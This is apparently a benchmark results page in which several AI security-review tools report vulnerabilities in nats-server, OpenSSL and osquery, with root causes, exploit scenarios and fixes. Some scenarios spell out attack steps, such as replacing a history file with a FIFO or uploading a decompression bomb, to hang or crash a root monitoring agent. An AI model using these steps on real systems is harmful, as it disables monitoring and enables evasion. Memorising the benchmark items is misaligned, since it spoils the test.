RestoreStream. Cap them withio.LimitReaderat the account's or stream's storage reservation, or at the server's remaining JetStream storage. Abort the restore when the cap is exceeded. To check the fix, add a test that restores a highly compressible snapshot larger than the account limit and asserts the restore fails before writing past the cap.
Codex Security (GPT-6 Sol)
JetStream restore can fill server storage with staged or expanded data
nats-server/server/jetstream.go:2089Predicted severity: Medium- Root cause
-
js.wouldExceedLimitsreverses the projected storage comparison used by restore staging. As chunks accumulate, the check becomes less likely to reject.RestoreStreamthen decompresses the archive and copies each tar member to disk without an aggregate expanded-byte limit. - Impact
-
A shared filesystem can be exhausted, but exploitation requires account restore permission and an enabled JetStream deployment.
- Description
-
A permitted restore client can upload beyond the server storage cap and expand a compressed snapshot without an output limit, exhausting the server filesystem.
- Exploit scenario
-
Restore API chunks -> temp file under JetStream root -> s2/tar expansion -> temp extraction files
- Recommendation
-
Use overflow-safe projected storage checks, charge staged bytes, and cap cumulative extracted bytes and file count before writing.
Claude Security (Sonnet 5.5)
Stream restore decompresses and extracts attacker snapshot with no size limit (decompression bomb); the limit check on staged data is also inverted
nats-server/server/stream.go:5678Predicted severity: Medium- Root cause
-
Vulnerable symbol: RestoreStream
Preconditions: JetStream enabled; Attacker can use $JS.API.STREAM.RESTORE in their account
Offending code:
_, err = io.Copy(fd, tr)
- Impact
-
Disk exhaustion and/or out-of-memory crash of the server from a tiny upload, bypassing per-account storage limits; affects all tenants.
- Description
-
The restored snapshot is an attacker-controlled s2+tar stream; every tar entry is copied to disk with io.Copy and later read with os.ReadFile without any cap on decompressed size, and the only size check on the upload (wouldExceedLimits) is inverted so it never limits it.
- Exploit scenario
-
Attacker starts a restore for a new stream and uploads a few hundred KB of s2-compressed tar whose
meta.infentry declares tens or hundreds of GiB of highly compressible data (zeros). The server writes it all under <store>/<acct>/__snapshots__/snap-*/ until the disk is full, or reaches os.ReadFile on the huge meta.inf and aborts on allocation, taking down every account's JetStream storage/availability. - Recommendation
-
Cap decompressed bytes and per-entry sizes against account/server limits while extracting (io.LimitReader with running totals), restrict allowed file names/counts to the expected snapshot layout, avoid os.ReadFile on unbounded files, and fix wouldExceedLimits to compare used+size against the maximum.
Claude Security (Opus 5.5)
Restore expands the s2-compressed tar snapshot with no size limit (decompression bomb)
nats-server/server/stream.go:5678Predicted severity: Medium- Root cause
-
Vulnerable symbol: RestoreStream
Preconditions: Authenticated user with JetStream restore API access
Offending code:
_, err = io.Copy(fd, tr)
- Impact
-
Disk exhaustion and JetStream outage for all tenants on the server; bypass of account storage limits.
- Description
-
Only the compressed bytes received are checked, and only against server-wide limits (jetstream_api.go:3441). RestoreStream decompresses the s2 stream and copies each tar entry to disk with no cap on total or per-file size, and no check against the account's storage quota.
- Exploit scenario
-
A JetStream user uploads a few MB of s2 data that expands to a tar of very large zero-filled regular files. The server writes them to the JetStream store volume until the disk is full. Other accounts then fail writes with "no space left", which triggers DisableJetStream server-wide. The account's own storage quota is also bypassed.
- Recommendation
-
Wrap the tar reader in a limited reader sized to the account's remaining storage (and the server's max_file_store), check the running decompressed total against account and tier limits, and abort and clean up once it is exceeded.
Vercel Security Review
Compressed JetStream restores bypass extracted-storage limits
nats-server/server/jetstream_api.go:3440Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Restore admission measures transferred bytes** -
nats-server/server/jetstream_api.go:3440-3443```go title="nats-server/server/jetstream_api.go:3440-3443"
total += len(msg)
if js.wouldExceedLimits(FileStorage, total) {
s.resourcesExceededError()
resultCh <- result{NewJSInsufficientResourcesError(), reply}
```
A client authorized to restore streams can submit a highly compressed archive while declaring a configuration within its account allocation.
**2. The archive expands without an extraction budget** -
nats-server/server/stream.go:5657-5660```go title="nats-server/server/stream.go:5657-5660"
tr := tar.NewReader(s2.NewReader(r))
for {
hdr, err := tr.Next()
if err == io.EOF {
```
The newly added restore path decompresses attacker-supplied regular files into the shared JetStream filesystem. Neither aggregate expanded size nor per-file size is bounded.
**3. Expanded data is written before metadata validation or accounting** -
nats-server/server/stream.go:5678-5681```go title="nats-server/server/stream.go:5678-5681"
_, err = io.Copy(fd, tr)
fd.Close()
if err != nil {
return nil, err
```
A small upload can exhaust shared disk space beyond account/server quotas, disrupting other tenants. Deferred cleanup happens only after extraction exits.
- Exploit scenario
-
Not specified.
- Recommendation
-
Reserve and enforce account and server storage budgets during extraction, based on actual expanded bytes. Reject excessive per-file/aggregate sizes before writing and stop copying when the remaining budget is exhausted. Account for concurrent restores and release reservations on cleanup.
-
-
OpenSSL C TLS and cryptography library. Tasks 4 V12 4/4 Devin (Deep) 1/4 Devin 1/4 Codex Sec 1/4 Claude Sec 0/4 Claude Opus 0/4 Vercel 1/4
TLS and cryptography library.
-
OCSP requests might hang if the server responds with infinite headers openssl-11 · 1 writeup Medium
V12
Transfer deadlines are enforced only on retries
crypto/http/http_client.c:258Predicted severity: High- Root cause
-
Deadline enforcement is attached to retry waiting rather than the entire transfer loop. The parser also lacks a response-header work budget that would terminate an indefinitely progressing header section.
- Impact
-
An HTTP peer can hold a caller inside a supposedly time-bounded exchange by continually delivering headers, consuming a connection and worker time beyond the configured deadline. For supplied blocking BIOs, withholding response bytes can likewise defeat a later configured transfer timeout; repeated affected exchanges can exhaust application workers.
- Description
-
The request deadline is stored by the setters but is consulted during exchange only after
OSSL_HTTP_REQ_CTX_nbio()returns a retry result. The state machine itself can loop through successful reads and header parsing indefinitely without checking the deadline or a cumulative header budget. A server can therefore keep supplying short, syntactically acceptable header lines and prevent the configured transfer timeout from being evaluated. A blocking BIO supplied to the low-level API can also remain insideBIO_read()after the deadline, because setting an expected-response timeout does not make that BIO nonblocking. Positive timeouts passed while opening a high-level connection do select nonblocking I/O, but this does not fix the continuously successful-read path.
-
The ossl_blake2b_final function fails to zeroize sensitive data openssl-21 · 1 writeup Medium
V12
Intermediate derivation secrets remain in retired stack frames
providers/implementations/kdfs/pbkdf1.c:58Predicted severity: Informational- Root cause
-
Neither primitive explicitly cleanses its secret-bearing automatic digest buffer on success or error. Cleanup of the separately allocated EVP/HMAC contexts does not cover these arrays.
- Impact
-
Security relevance remains unresolved: the missing fact is whether a later stack disclosure, diagnostic capture, or memory-access boundary in an actual consumer can expose these retired frames. The searched boundary comprises both complete KDF implementations, the EVP digest and HMAC cleanup callees, and KDF/provider documentation; none supplies a same-frame cleansing operation or identifies a consumer exposure path, so this is not a demonstrated disclosure by itself.
- Description
-
Both primitives leave password-derived intermediate material in automatic buffers after returning. PBKDF1 stores the repeatedly hashed password-and-salt value in
md_tmpand frees only the EVP context at its exit label. PBKDF2 retains each HMAC result indigtmpand frees only the HMAC contexts at its shared exit label, including after failures following earlier output. Freeing the nested contexts cannot cleanse these separate caller-frame arrays. This establishes residual secret material on the stack, but not an independent mechanism for another party to read it.
-
The kdf_pbkdf1_do_derive function fails to zeroize sensitive data openssl-22 · 1 writeup Medium
V12
Intermediate derivation secrets remain in retired stack frames
providers/implementations/kdfs/pbkdf1.c:58Predicted severity: Informational- Root cause
-
Neither primitive explicitly cleanses its secret-bearing automatic digest buffer on success or error. Cleanup of the separately allocated EVP/HMAC contexts does not cover these arrays.
- Impact
-
Security relevance remains unresolved: the missing fact is whether a later stack disclosure, diagnostic capture, or memory-access boundary in an actual consumer can expose these retired frames. The searched boundary comprises both complete KDF implementations, the EVP digest and HMAC cleanup callees, and KDF/provider documentation; none supplies a same-frame cleansing operation or identifies a consumer exposure path, so this is not a demonstrated disclosure by itself.
- Description
-
Both primitives leave password-derived intermediate material in automatic buffers after returning. PBKDF1 stores the repeatedly hashed password-and-salt value in
md_tmpand frees only the EVP context at its exit label. PBKDF2 retains each HMAC result indigtmpand frees only the HMAC contexts at its shared exit label, including after failures following earlier output. Freeing the nested contexts cannot cleanse these separate caller-frame arrays. This establishes residual secret material on the stack, but not an independent mechanism for another party to read it.
-
Out-of-bounds read in kdf_pbkdf1_do_derive openssl-23 · 5 writeups Medium
V12
Unchecked derived length exposes stack memory
providers/implementations/kdfs/pbkdf1.c:51Predicted severity: High- Root cause
-
kdf_pbkdf1_do_derive()uses the requested output length as a source-copy extent without enforcingn <= mdsizeand does not reject oversized derivations. - Impact
-
Derived output can disclose uninitialized stack contents and, for larger requests, adjacent stack memory rather than key material. A sufficiently large source read can also terminate the process at an unmapped page; disclosure to an external party depends on the application exposing the requested derived bytes.
- Description
-
PBKDF1 accepts a caller-selected
keylenand passes it unchanged tomemcpy(out, md_tmp, n). The source is a stack array ofEVP_MAX_MD_SIZEbytes, but only the selected digest's output bytes are initialized by the digest operations. There is no check thatnis within either the digest length or the stack array, andEVP_KDF_derive()forwards the length without validation. With SHA-1, a request for 21 bytes already copies an uninitialized byte; requests exceedingEVP_MAX_MD_SIZEread beyond the array. A correctly sized destination buffer does not prevent this source-side disclosure.
Devin Security (Deep)
PBKDF1 copies the requested key length out of a 64-byte stack buffer without checking it against the digest size
providers/implementations/kdfs/pbkdf1.c:51Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Any program that lets a user pick the PBKDF1 output length can be made to copy its own stack memory, which may include secrets, into the "derived key" it hands back, or to crash.
##### What's wrong
This is a stack buffer over-read.
kdf_pbkdf1_do_derivehashes into a fixed 64-byte stack buffermd_tmp, then copiesnbytes out of it withmemcpy(out, md_tmp, n).nis the caller's requested key length, and nothing checks thatnis no larger than the digest size (or even no larger than the 64-byte buffer). The provider also tells callers it can produce up toSIZE_MAXbytes, so callers get no warning.##### Who can do it
Alice runs a small service at Acme Corp. It is built on OpenSSL and derives keys with the legacy PBKDF1 KDF through
EVP_KDF_derive. The service lets the client choose the key length, as many wrappers do, because the KDF reports a maximum ofSIZE_MAX. Mallory, a client of that service, asks for a 4096-byte key derived with MD5. The service returns the "key" to her or uses it in a way she can observe.- The application loads the legacy provider and uses PBKDF1 directly through
EVP_KDF_derive.- The application passes a key length that the attacker controls, or does not cap it at the digest size.
- The in-tree caller
PKCS5_PBE_keyivgen_ex(crypto/evp/p5_crpt.c:99) always passes the digest size, so it is safe. The localopenssl kdf -keylencommand also reaches the bug.##### What they get
With a length between the digest size and 64, Mallory gets uninitialized stack bytes appended to the real digest. With a length above 64, she gets whatever sits above
md_tmpon the stack: return addresses, pointers, stack canaries and data from earlier calls, which can include key material or passwords. That lets her defeat address randomization and may expose secrets from Alice's process. A very large length makes the read run off the stack and crashes the process. The key the service uses is also not a real PBKDF1 output, so encryption keyed from it is weaker than intended. The damage is limited to the one process that makes the call.##### How it works
1. The caller calls
EVP_KDF_derive(kctx, key, keylen, params), which forwardskeylenunchanged tokdf_pbkdf1_derive(crypto/evp/kdf_lib.c:146).2.
kdf_pbkdf1_derivechecks only that a password and salt are set, then passeskeylenasntokdf_pbkdf1_do_derive(pbkdf1.c:195-196).3.
kdf_pbkdf1_do_derivewrites the digest into the 64-byte stack arraymd_tmp(pbkdf1.c:58, 70-82) and learnsmdsize, but never comparesnto it (pbkdf1.c:72-74).4.
memcpy(out, md_tmp, n)readsnbytes from the 64-byte array and copies any extra stack bytes into the caller's output (pbkdf1.c:84).5.
kdf_pbkdf1_get_ctx_paramsreportsOSSL_KDF_PARAM_SIZEasSIZE_MAX, so a caller that checks the advertised limit still accepts large lengths (pbkdf1.c:240-241). - Exploit scenario
-
Not specified.
- Recommendation
-
In
kdf_pbkdf1_do_derive, reject the request whenn > (size_t)mdsize(raisePROV_R_LENGTH_TOO_LARGE) before the finalmemcpy. Also makekdf_pbkdf1_get_ctx_paramsreport the size of the configured digest instead ofSIZE_MAX. To check the fix, derive with MD5 andkeylen17, 64 and 4096 throughEVP_KDF_derive. Each call should now fail. A call withkeylen16 should still match the RFC 8018 PBKDF1 test vectors, and the test should run clean under AddressSanitizer.
Devin Security
PBKDF1 copies more bytes than the digest produced, reading past a stack buffer
providers/implementations/kdfs/pbkdf1.c:51Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
An application that lets a caller pick the PBKDF1 output length can be made to return stack memory from the process, which may hold keys or other secrets, or to crash.
##### What's wrong
This is a stack buffer over-read.
kdf_pbkdf1_do_derivecopiesnbytes out ofmd_tmp, a stack buffer ofEVP_MAX_MD_SIZE(64) bytes that holds onlymdsizevalid bytes. The check that rejectsn > mdsizewithPROV_R_LENGTH_TOO_LARGEis missing, so any requested length is copied.##### Who can do it
Alice runs a service at Acme Corp built on OpenSSL 3 that loads the legacy provider and derives keys with
EVP_KDF_deriveusing PBKDF1. The service takes the key length from the request. Mallory, a user of that service, asks for a 4096-byte key.- The application loads the legacy provider, which registers PBKDF1.
- The application passes a caller-influenced
keylentoEVP_KDF_derivefor PBKDF1.- The built-in caller
PKCS5_PBE_keyivgenis not affected, since it always asks for exactlymdsizebytes.##### What they get
Mallory gets back bytes from the service's stack after the digest output. These bytes can include parts of other keys, passwords, or pointers that help with other attacks. A very large length reads off the end of the stack and crashes the service. The leak is limited to the memory of the one process doing the derivation.
##### How it works
1. The application calls
EVP_KDF_derivewith a largekeylen, andkdf_pbkdf1_derivepasses it straight tokdf_pbkdf1_do_derive(pbkdf1.c:195-196).2.
kdf_pbkdf1_get_ctx_paramsreportsSIZE_MAXas the KDF output size, so generic callers see no limit (pbkdf1.c:241).3.
kdf_pbkdf1_do_derivecomputesmdsizebut never compares it ton(pbkdf1.c:72-74).4.
memcpy(out, md_tmp, n)readsnbytes from the 64-byte stack arraymd_tmpinto the caller's output (pbkdf1.c:84). - Exploit scenario
-
Not specified.
- Recommendation
-
In
kdf_pbkdf1_do_derive, after computingmdsize, addif (n > (size_t)mdsize) { ERR_raise(ERR_LIB_PROV, PROV_R_LENGTH_TOO_LARGE); goto err; }. This matches upstream OpenSSL. Also cleanmd_tmpbefore returning. To check the fix, add a test that callsEVP_KDF_deriveon PBKDF1 with SHA-256 and a 33-byte output. It must fail, and a 32-byte output must still match the known test vector.
Codex Security (GPT-6 Sol)
PBKDF1 can disclose stack bytes through oversized derived output
crypto/evp/kdf_lib.c:140Predicted severity: Medium- Root cause
-
A caller-selected
EVP_KDF_deriveoutput length reaches PBKDF1's copy from a fixed digest buffer without a digest-size check. - Impact
-
Lengths above the selected digest size return uninitialized stack bytes; lengths above 64 bytes can read beyond the stack array or crash. The legacy provider must be loaded, and an application must pass an oversized PBKDF1 length; external disclosure requires the result to be exposed.
- Description
-
A caller-selected
EVP_KDF_deriveoutput length reaches PBKDF1's copy from a fixed digest buffer without a digest-size check. - Exploit scenario
-
A caller-selected
EVP_KDF_deriveoutput length reaches PBKDF1's copy from a fixed digest buffer without a digest-size check. - Recommendation
-
Reject output lengths above the selected digest size before copying and add a negative boundary test.
Vercel Security Review
PBKDF1 copies arbitrary output lengths from a fixed stack digest buffer
providers/implementations/kdfs/pbkdf1.c:194Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. The new PBKDF1 provider forwards the requested key length unchecked** -
providers/implementations/kdfs/pbkdf1.c:194-196```c title="providers/implementations/kdfs/pbkdf1.c:194-196"
md = ossl_prov_digest_md(&ctx->digest);
return kdf_pbkdf1_do_derive(ctx->pass, ctx->pass_len, ctx->salt, ctx->salt_len,
ctx->iter, md, key, keylen);
```
This is reachable through public
EVP_KDF_derivewhen the legacy provider is loaded.**2. Derivation uses a fixed, uninitialized stack buffer** -
providers/implementations/kdfs/pbkdf1.c:56-59```c title="providers/implementations/kdfs/pbkdf1.c:56-59"
uint64_t i;
int mdsize, ret = 0;
unsigned char md_tmp[EVP_MAX_MD_SIZE];
EVP_MD_CTX *ctx = NULL;
```
**3. Requested bytes are returned without checking the digest-size bound** -
providers/implementations/kdfs/pbkdf1.c:84-85```c title="providers/implementations/kdfs/pbkdf1.c:84-85"
memcpy(out, md_tmp, n);
ret = 1;
```
Applications deriving keys from attacker-influenced lengths receive uninitialized stack bytes beyond the digest; lengths exceeding 64 bytes read outside the buffer, potentially disclosing adjacent memory or crashing the process.
- Exploit scenario
-
Not specified.
- Recommendation
-
Validate the selected digest size and reject requested output lengths exceeding it before deriving or copying output. Add tests for lengths above the digest size and above EVP_MAX_MD_SIZE; ensure the size-query API does not imply unrestricted PBKDF1 output.
-
-
osquery C++ Endpoint operating system instrumentation agent. Tasks 7 V12 5/7 Devin (Deep) 5/7 Devin 2/7 Codex Sec 3/7 Claude Sec 5/7 Claude Opus 4/7 Vercel 4/7
Endpoint operating system instrumentation agent.
-
The OpenReadableFile function can hang on reading a file osquery-5 · 6 writeups Medium
V12
Nonblocking file reads reopen attacker-controlled FIFOs blocking
osquery/filesystem/filesystem.h:84Predicted severity: Medium- Root cause
-
OpenReadableFilechanges a nonblocking request into blocking I/O based on file size rather than a safe, bounded file-type policy. - Impact
-
A non-root user can replace a history file in their own home directory with a FIFO and stall shell-history monitoring when that user is included in collection. This is an availability failure in the common read API, independent of the ELF table's direct use of
open. - Description
-
The
readFileoverloads default toblocking=false, butOpenReadableFilecan silently replace the nonblocking descriptor with a blocking open. On POSIX,isSpecialFileis implemented assize() == 0, which includes FIFOs. A FIFO with no writer first opens successfully withO_NONBLOCK, then hangs during the helper's blocking reopen before the caller can receive a failure status. This affects ordinary consumers such as shell-history collection, which reads user-controlled history paths with the nonblocking argument. The byte limit and dry-run checks execute only after construction of the handle and cannot bound this wait.
Devin Security (Deep)
readFile blocks forever on user-planted FIFOs and terminals, stalling the root agent
osquery/filesystem/filesystem.cpp:86Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Any local user can make the root osquery agent hang on scheduled queries such as
shell_history. This can blind monitoring on that host until someone restarts the agent.##### What's wrong
This is an unbounded blocking read on an attacker-chosen file type.
readFiletreats any file whose size is 0 as "special". It reopens that file withoutO_NONBLOCKand reads it in blocking mode. It never checks that the file is a regular file. A FIFO (a named pipe) or a terminal device has size 0. A blockingopen()on a FIFO waits for a writer, and a blockingread()waits for data. Neither has a timeout.##### Who can do it
Alice, an administrator at Acme Corp, runs osqueryd as root with a schedule that includes
select * from shell_history. Mallory has an ordinary shell account on the same host. She runsrm ~/.bash_history; mkfifo ~/.bash_history. The next time the query runs, the root worker thread blocks.- Mallory has a local account with a home directory that osquery enumerates.
- A scheduled or distributed query reads a file in her home directory. Examples are
shell_history(.bash_history,.bash_sessions/*.history),authorized_keys, andknown_hosts.##### What they get
The query never finishes, and the worker's scheduler thread stays stuck on that query. Later scheduled queries on that host stop producing results. That can hide Mallory's later activity from Acme's security team. The effect is limited to the one host she has an account on. She does not get any data.
##### How it works
1.
genShellHistoryFromFilein osquery/tables/system/posix/shell_history.cpp:103 callsreadFileon the user's history path as root, without dropping privileges.2.
OpenReadableFilein filesystem.cpp:94 opens the path withO_NONBLOCK. Opening a FIFO for reading this way succeeds at once.3.
isSpecialFile()in osquery/filesystem/posix/fileops.cpp:100-102 returns true becausefstatreports size 0.4. filesystem.cpp:99-101 clears
PF_NONBLOCKand reopens the path. A blockingopen()on a FIFO with no writer never returns.5. If Mallory keeps a writer open but sends nothing, the blocking
read()at filesystem.cpp:168 waits forever instead. - Exploit scenario
-
Not specified.
- Recommendation
-
After the non-blocking open, call
fstatand checkst_mode. Refuse FIFOs, sockets, and character or block devices unless the caller asked for them. Callers that need procfs or sysfs files can keep the blocking reopen, because those files reportS_ISREG. Optionally open user-controlled paths withO_NOFOLLOW, so a symlink cannot point the agent at/dev/tty*. To check the fix, create a FIFO at~/.bash_historyfor a test user, runselect * from shell_historyin osqueryi, and confirm the query returns at once.
Codex Security (GPT-6 Sol)
A user-owned FIFO can stall a scheduled file query
osquery/filesystem/filesystem.cpp:84Predicted severity: Low- Root cause
-
known_hostsreads a path in the selected user's home.OpenReadableFileinitially opens nonblocking but treats zero size as a special file and reopens withoutPF_NONBLOCK; a FIFO read open can wait indefinitely before byte limits apply. - Impact
-
A local user can stall a selected query, but a suitable scheduled query and monitored home path are prerequisites, and impact is limited to that thread.
- Description
-
The shared reader reopens zero-size files in blocking mode, so a FIFO at a user-home path selected by a scheduled table query can block its query thread indefinitely.
- Exploit scenario
-
FIFO substituted for monitored file -> User-owned
.ssh/known_hostspath -> BlockingopeninPlatformFile-> Query thread stalls waiting for a FIFO writer - Recommendation
-
Reject FIFOs and sockets using
fstaton the opened descriptor or keep nonblocking I/O with a bounded wait.
Claude Security (Sonnet 5.5)
file_events callback hashes attacker-created paths in the inotify publisher thread; a FIFO blocks that thread indefinitely
osquery/tables/events/event_utils.cpp:33Predicted severity: Medium- Root cause
-
Vulnerable symbol: decorateFileEvent
Preconditions: File events enabled (--enable_file_events) with a file_paths pattern covering a directory where unprivileged users can create files, such as /tmp/%%; Hashing on CREATED/UPDATED events, which is the default unless the category is listed in file_accesses
Offending code:
auto hashes = hashMultiFromFile(
- Impact
-
An unprivileged local user can freeze the file_events/FIM publisher, which is effectively persistent. This is a denial of a security control and an evasion window for file-integrity monitoring.
- Description
-
The filename comes from an inotify CREATED event for an entry that any user can create in a monitored directory. FileEventSubscriber::Callback passes it to decorateFileEvent(), which calls hashMultiFromFile(). That function ends in readFile/OpenReadableFile, which reopens any size-0 file in blocking mode, so open() on a FIFO blocks until a writer appears. The callback runs synchronously inside INotifyEventPublisher::run via fire(), under subscription_lock_.
- Exploit scenario
-
FIM is configured as in the project's documented example (file_paths includes "/tmp/%%"). An unprivileged user runs
mkfifo /tmp/x. inotify reports IN_CREATE, so action is CREATED and hash is true. osqueryd (root) reopens /tmp/x with a blocking open(O_RDONLY) and hangs. All inotify-based file_events processing stops, and the held subscription read lock can also stall publisher reconfiguration. The attacker then modifies monitored files. Events pile up in the kernel queue and can be overflowed, so changes go unreported, until someone opens the FIFO for writing. A symlink to a FIFO has the same effect. A symlink to a root-only file also makes the root daemon hash it. - Recommendation
-
Before hashing, lstat/fstat the path and only hash regular files. Open with O_NONBLOCK and O_NOFOLLOW and never reopen in blocking mode for FIFOs, sockets or devices. Do not perform potentially blocking I/O inside the publisher thread's callback, and add a read timeout.
Claude Security (Opus 5.5)
readFile reopens FIFOs in blocking mode, so a user-planted FIFO hangs the FIM publisher and scheduler threads
osquery/filesystem/filesystem.cpp:101Predicted severity: Medium- Root cause
-
Vulnerable symbol: OpenReadableFile::OpenReadableFile
Preconditions: Local unprivileged account; Either FIM enabled with a user-writable directory in file_paths, or a scheduled/distributed query touching a user-home table (shell_history, authorized_keys, known_hosts, ssh_configs, user_ssh_keys, chrome_extensions)
Offending code:
fd = std::make_unique<PlatformFile>(path, mode);
- Impact
-
An unprivileged local user can persistently blind osquery file-integrity monitoring and/or all scheduled queries. This allows evasion of host monitoring.
- Description
-
Paths an unprivileged user controls (a file created in a FIM-watched directory, or ~/.bash_history, ~/.ssh/authorized_keys, ~/.ssh/known_hosts, ~/.ssh/config, Chrome Preferences) reach readFile/hashMultiFromFile. OpenReadableFile treats any zero-size file as 'special' and reopens it without O_NONBLOCK, so open(O_RDONLY) on a FIFO waits forever for a writer. The hash table checks is_regular_file before hashing (hash.cpp:304). decorateFileEvent and the user-home tables do not, so the same sink has inconsistent guards.
- Exploit scenario
-
A local unprivileged user runs
mkfifo /tmp/x(or any FIM-monitored, user-writable directory such as /home/%%) and never opens it for writing. inotify reports IN_CREATE, so FileEventSubscriber::Callback calls decorateFileEvent, which calls hashMultiFromFile and readFile. The non-blocking open succeeds, fstat reports size 0, and the blocking reopen hangs in open(). Because fire() runs subscriber callbacks synchronously on the INotify publisher thread, file integrity monitoring stops for every watched path until osqueryd restarts. The scheduler has a separate route:mkfifo ~/.bash_historyhangs the scheduler thread when shell_history runs (it is scheduled in the bundled incident-response pack), and every later scheduled query stops. No crash happens, so the watchdog never restarts the worker and the denylist never applies. - Recommendation
-
In OpenReadableFile/readFile, fstat the non-blocking fd and refuse non-regular files (S_ISFIFO, S_ISSOCK, S_ISCHR) unless the caller explicitly opts in. Never reopen a FIFO without O_NONBLOCK. Callers that need /proc or /sys pseudo-files should opt in explicitly. Also check is_regular_file in decorateFileEvent and the user-home tables, matching hash.cpp.
Vercel Security Review
Nonblocking file reads reopen FIFOs in blocking mode and stall scheduled monitoring
osquery/tables/system/posix/shell_history.cpp:103Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Scheduled history collection reads user-controlled files with blocking explicitly disabled** -
osquery/tables/system/posix/shell_history.cpp:103-105```cpp title="osquery/tables/system/posix/shell_history.cpp:103-105"
if (!readFile(history_file, 0, 4096, false, false, parseChunk, false)) {
return;
}
```
The incident-response pack joins users to shell_history. A local user can replace their history file with a FIFO having no writer.
**2. The new POSIX helper classifies that FIFO as special solely because its size is zero** -
osquery/filesystem/posix/fileops.cpp:100-102```cpp title="osquery/filesystem/posix/fileops.cpp:100-102"
bool PlatformFile::isSpecialFile() const {
return (size() == 0);
}
```
**3. The new reader removes nonblocking protection and reopens the FIFO** -
osquery/filesystem/filesystem.cpp:99-101```cpp title="osquery/filesystem/filesystem.cpp:99-101"
mode &= ~PF_NONBLOCK;
blocking_io = true;
fd = std::make_unique<PlatformFile>(path, mode);
```
The blocking open waits indefinitely, preventing the synchronous scheduler from completing this query or running subsequent scheduled queries.
- Exploit scenario
-
Not specified.
- Recommendation
-
Use fstat file-type checks rather than size to identify special files. Reject FIFOs and other inappropriate node types for filesystem table reads, or retain nonblocking mode and enforce bounded I/O deadlines. Avoid reopening paths in blocking mode based solely on zero size.
-
The parseJSON function can hang on reading certain files on Linux and macOS osquery-9 · 2 writeups Medium
Devin Security
elf_dynamic reads past the dynamic section and the mapped file when DT_NULL is missing
osquery/tables/system/linux/elf_info.cpp:187Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A local user who can place a crafted ELF file where an
elf_dynamicquery looks can crash osqueryd or leak bytes of its memory into query results, but cannot touch other customers or run code.##### What's wrong
This is an out-of-bounds read. The
elf_dynamictable walks the.dynamicentries until it finds aDT_NULLtag. It never checks the walk against the section size or the size of the mapped file.##### Who can do it
Alice, an admin at Acme Corp, schedules
SELECT * FROM elf_dynamic WHERE path LIKE '/home/%/bin/%'to inventory binaries. Mallory, an unprivileged user on one of Acme's hosts, drops a file in~/binwhose dynamic section has noDT_NULLentry and ends at the end of the file.- An
elf_dynamicquery (scheduled, distributed, or interactive) covers a path that Mallory can write to.- Mallory can create a file in that path.
##### What they get
When the query runs, osqueryd (usually running as root) reads past the end of the mmap and crashes with SIGSEGV. If the read stays inside mapped memory instead, the raw bytes after the section go into the
tagandvaluecolumns and are sent to the logging backend. Mallory can repeat this to keep the monitoring agent down on that host. She cannot reach other hosts or other customers.##### How it works
1.
genElfInfoexpands thepathLIKE constraint and opens each match withopenandcreate_mmap_loader(elf_info.cpp:34-55).2.
getELFDynamicgetssec.data()for eachSHT_DYNAMICsection (elf_info.cpp:187). The loader only checks thatoffset + sizefits in the file.3. The loops at elf_info.cpp:191 and elf_info.cpp:199 advance
duntild->d_tag == DT_NULLand never comparedagainstdata + sec.size().4. A section with no
DT_NULL, or with size 0 at the end of the file, makes the loop read past the mapping. The process faults, or it copies unrelated memory into result rows.5. Separately,
open(path, O_RDONLY)at elf_info.cpp:52 runs on any glob match without a regular-file check. A FIFO in a scanned directory blocks the query thread forever. - Exploit scenario
-
Not specified.
- Recommendation
-
Bound both loops by the section size. Compute
count = sec.size() / sizeof(ElfN_Dyn)and stop atmin(count, first DT_NULL). Skip the section ifdatais null. IngenElfInfo,lstatorfstatthe path, skip anything that is not a regular file, and open withO_NONBLOCK. To check the fix, build an ELF whose.dynamicsection has no DT_NULL and ends at EOF, then queryelf_dynamicon it under ASan. Confirm there is no out-of-bounds read and that the row count equals size/entsize. Also query a FIFO path and confirm the query returns at once.
Claude Security (Sonnet 5.5)
parseJSON feeds unbounded, unvalidated user-owned files to Boost property_tree's recursive JSON parser (stack exhaustion / no read_max)
osquery/filesystem/filesystem.cpp:601Predicted severity: Low- Root cause
-
Vulnerable symbol: parseJSON
Preconditions: firefox_addons table is queried (it is in packs/it-compliance.conf); local unprivileged user able to write into their own Firefox profile directory
Offending code:
pt::read_json(path.string(), tree);
- Impact
-
A local unprivileged user can repeatedly crash the privileged osquery worker, a persistent denial of service of the monitoring agent. Large files can exhaust memory because no size limit is applied.
- Description
-
parseJSON passes the file path straight to boost::property_tree::read_json. That parser is recursive descent (parse_value -> parse_array/parse_object -> parse_value) with no depth limit. It also bypasses the FLAGS_read_max size check that readFile applies. Its only production caller parses per-user files, e.g. ~/.mozilla/firefox/<profile>/extensions.json in browser_firefox.cpp, which the user fully controls. Also CWE-770: Every other file read goes through readFile, which enforces FLAGS_read_max (50MB) and handles special files. parseJSON hands the path directly to boost::property_tree::read_json, which opens it with an ifstream, so it has no size limit, blocks on a FIFO, and builds a full in-memory tree. browser_firefox.cpp calls it on each user's profile extensions.json, which that user controls.
- Exploit scenario
-
A local user writes a file of a few hundred KB of '[' characters, or '{"a":' repeated, to ~/.mozilla/firefox/x/extensions.json. When the root daemon runs firefox_addons (e.g. from packs/it-compliance.conf), read_json recurses until the thread stack is exhausted (small on macOS secondary threads), and the worker segfaults. The watchdog respawns it and the next scheduled run crashes it again. A very large or FIFO-backed file additionally causes unbounded memory growth or a hang.
- Recommendation
-
Read the file with readFile, which enforces read_max, and parse with a depth-limited parser such as rapidjson with a nesting limit. Catch all exceptions, not only json_parser_error. Reject non-regular files. Also CWE-770: Read through readFile (applying read_max and the regular-file check) and parse the resulting buffer with a bounded-depth parser such as osquery's rapidjson-based JSON wrapper; reject non-regular files.
-
Extended attributes table may read uninitialized or out-of-bounds memory osquery-11 · 6 writeups Medium
V12
Changed attribute lists permit out-of-bounds reads
osquery/tables/system/darwin/extended_attributes.cpp:74Predicted severity: Medium- Root cause
-
